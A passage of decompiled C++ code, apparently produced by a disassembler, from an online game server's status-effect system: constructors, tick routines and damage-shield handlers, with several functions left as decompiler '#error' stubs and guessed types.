v1->ac_SubStateList[66] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONHPSPHEAL; v1->ac_SubStateList[70] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->AC_CAPTIVATE; v1->ac_SubStateList[83] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BURN; v1->ac_SubStateList[84] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_FITBLOODING; v1->ac_SubStateList[75] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TOTALDAMAGERATE; v1->ac_SubStateList[76] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TOTALDAMAGERATE_BYDEF; v1->ac_SubStateList[77] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TIMEATTACK; v1->ac_SubStateList[82] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_GTI; v1->ac_SubStateList[64] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[73] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[74] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[71] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[72] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; this->ac_SubStateList[67] = (AbnormalStateContainer::SubAbnormalStateActor *)&this->ac_POISON; v1->ac_SubStateList[68] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[86] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[87] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[85] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[69] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[78] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DETACHPROCESS; v1->ac_SubStateList[79] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[80] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[81] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v3 = 0; do { if ( !*(_DWORD *)v2 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::ActorCluster::ActorCluster : Buffer not full", v3); ShineExit("AbnormalStateContainer::ActorCluster::ActorCluster"); } ++v3; v2 += 4; } while ( v3 < 88 ); } // 5A2344: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); // 5A2378: using guessed type int (*AbnormalStateContainer__SubAbnormalStateMaxHP___vftable_)(); // 5A23AC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateFear___vftable_)(); // 5A23E0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorPoison___vftable_)(); // 5A2414: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorDisease___vftable_)(); // 5A2448: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHPHeal___vftable_)(); // 5A247C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSPHeal___vftable_)(); // 5A24B0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHPSPHeal___vftable_)(); // 5A24E4: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorShield___vftable_)(); // 5A2518: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorManaShield___vftable_)(); // 5A254C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorPartyRecharge___vftable_)(); // 5A2580: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSelfRevive___vftable_)(); // 5A25B4: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorRangeIntercept___vftable_)(); // 5A25E8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorLastDmgRatio___vftable_)(); // 5A261C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorLastDmgRatio_DefSide___vftable_)(); // 5A2650: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActerTimeAttack___vftable_)(); // 5A2684: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorCastDelay___vftable_)(); // 5A26B8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorIgnoreCoolTime___vftable_)(); // 5A26EC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSilence___vftable_)(); // 5A2AEC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorAreaDamage___vftable_)(); // 5A2BFC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorDetachProcess___vftable_)(); // 5A2C4C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateCaptivate___vftable_)(); //----- (004047C0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::ActorCluster::_ActorCluster(AbnormalStateContainer::ActorCluster *this) { this->ac_DETACHPROCESS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GTI.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE_BYDEF.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_FITBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BURN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHPSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GUILDBUFACL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSECRITICAL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEWC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEDEX.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETB.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEAC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETH.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEMR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTSTUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXSPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEFAULT.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRITICALRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_REGIST.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DISEASE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_POISON.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAGICATTACKNOUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_COOLTIMEREMOVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CASTINGTIMEPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->AC_CAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_FEAR.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DOTDAMAGE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADLYBLESSING.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLIND.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_HIDE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_RANGESHIELDCOUNTER.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SELFREVIVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADHPSPRECOVRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXSPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ATKSPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MOVESPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SHIELDACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MANASHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DAMAGESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MENPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DefaultSubStateActor.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; } // 5A2344: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); //----- (00404930) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 v1 = this; Metronome::Metronome(&this->aeo_Tick.nextaction); SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(&v1->aeo_SetItemEffect); v1->aeo_Index = 412; *(_DWORD *)&v1->aeo_PartyEnchant[4]._bf0 = 0; *(_DWORD *)&v1->gap29[7] = 0; *(_DWORD *)&v1->gap29[15] = 0; *(_DWORD *)&v1->gap29[23] = 0; *(_DWORD *)&v1->gap29[31] = 0; } //----- (00404990) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_CompName(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 hnd, AbnormalStateContainer::AbstateElementInObject *key) { AbnormalStateContainer::AbstateElementInObject *v4; // edi@1 int v5; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = key->aeo_Index - v4->aeo_Index; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"); return v5; } //----- (00404A00) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(void *ptr) { void *v1; // esi@1 void *v2; // eax@1 v1 = ptr; v2 = (void *)*((_DWORD *)ptr + 872); *((_DWORD *)ptr + 870) = List::_vftable_; if ( v2 ) operator delete__(v2); _eh_vector_destructor_iterator_( v1, 0x74u, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); } // 5A2C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbstateElementInObject____vftable_[3])(__int16 hnd); //----- (00404A40) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindSubState(AbnormalStateContainer::AbstateElementInObject *this, int sub, char *substate) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 int v4; // eax@1 char result; // al@2 int v6; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&unk_6158F0, substate); if ( v4 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 0; } else { v4 = (unsigned __int16)v4; if ( unk_61527C >= (unsigned int)(unsigned __int16)v4 ) { v6 = unk_615274 + 728 * v4; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v4); v6 = 0; } *(_DWORD *)&v3->aeo_PartyEnchant[8 * sub + 4]._bf0 = v6; if ( v6 ) { *(_DWORD *)&v3->aeo_PartyEnchant[8 * sub]._bf0 = *(_DWORD *)(*(_DWORD *)v6 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 0; } } return result; } //----- (00404B80) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(AbnormalStateContainer::AbstateElementInObject *this) { unsigned __int16 v1; // ax@1 AbnormalStateContainer::AbnormalStateElement **v2; // eax@2 AbnormalStateContainer::AbnormalStateElement *result; // eax@3 v1 = LOWORD(this->aeo_Index); if ( v1 < unk_6150FC && (v2 = *(AbnormalStateContainer::AbnormalStateElement ***)(unk_615100 + 12 * v1)) != 0 ) result = *v2; else result = 0; return result; } //----- (00404BB0) -------------------------------------------------------- #error "404BB0: undefined or illegal type '#740' (funcsize=34)" //----- (00404C10) -------------------------------------------------------- #error "404C10: undefined or illegal type '#740' (funcsize=41)" //----- (00404CE0) -------------------------------------------------------- #error "404CE0: undefined or illegal type '#740' (funcsize=84)" //----- (00404E10) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateTickRoutine *this, #740 *a2, unsigned __int16 handle, AbnormalStateContainer::AbstateElementInObject *aeo, char *isterminated) { AbnormalStateContainer::AbnormalStateElement *v5; // edi@1 char result; // al@2 unsigned int v7; // eax@3 char v8; // bl@5 v5 = (AbnormalStateContainer::AbnormalStateElement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AbnormalStateContainer::AbnormalStateElement::ase_Routine(v5, a2, handle, aeo, isterminated); if ( *isterminated ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); result = 1; } else { v7 = aeo->aeo_Tick.nextaction.m_NextTick; if ( clockwatch.cw_CurrTick > v7 && (aeo->aeo_Tick.nextaction.m_NextTick = v7 + aeo->aeo_Tick.nextaction.m_TickInterval, *((_DWORD *)&abstateidentarray + 3 * aeo->aeo_Index)) ) v8 = (*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * aeo->aeo_Index) + 12))( aeo, a2, aeo->aeo_Index); else v8 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); result = v8; } return result; } //----- (00404F40) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateEachTickRoutine *this, #740 *a2, unsigned __int16 handle, AbnormalStateContainer::AbstateElementInObject *aeo, char *isterminated) { AbnormalStateContainer::AbnormalStateElement *v5; // edi@1 char result; // al@2 char v7; // al@3 char v8; // bl@3 v5 = (AbnormalStateContainer::AbnormalStateElement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AbnormalStateContainer::AbnormalStateElement::ase_Routine(v5, a2, handle, aeo, isterminated); if ( *isterminated ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); result = 1; } else { v7 = (*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * aeo->aeo_Index) + 12))( aeo, a2, handle); --funcallanalizer.fca_stackpoint; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); result = v8; } return result; } //----- (00405050) -------------------------------------------------------- #error "405050: undefined or illegal type '#740' (funcsize=49)" //----- (00405110) -------------------------------------------------------- #error "405110: undefined or illegal type '#740' (funcsize=49)" //----- (004051F0) -------------------------------------------------------- #error "4051F0: undefined or illegal type '#740' (funcsize=16)" //----- (00405250) -------------------------------------------------------- #error "405250: undefined or illegal type '#740' (funcsize=105)" //----- (004053C0) -------------------------------------------------------- #error "4053C0: undefined or illegal type '#740' (funcsize=64)" //----- (004054B0) -------------------------------------------------------- #error "4054B0: undefined or illegal type '#740' (funcsize=99)" //----- (00405610) -------------------------------------------------------- int __thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this, AbnormalStateContainer::AbstateElementInObject *aso) { int v2; // eax@1 int v3; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_CASTINGTIMEPLUS); --funcallanalizer.fca_stackpoint; v3 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"); return v3; } //----- (004056D0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorShield *this, #325 *a2, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v4; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = aso->aeo_RestCount; if ( v4 > *damage ) { aso->aeo_RestCount = v4 - *damage; *damage = 0; } else { aso->aeo_RestCount = 0; *damage -= v4; aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"); } //----- (00405750) -------------------------------------------------------- #error "405750: undefined or illegal type '#325' (funcsize=52)" //----- (00405830) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = aso->aeo_RestCount; if ( v3 <= 0 ) { aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; } else { aso->aeo_RestCount = v3 - 1; *damage = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"); } //----- (004058B0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *damage = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( 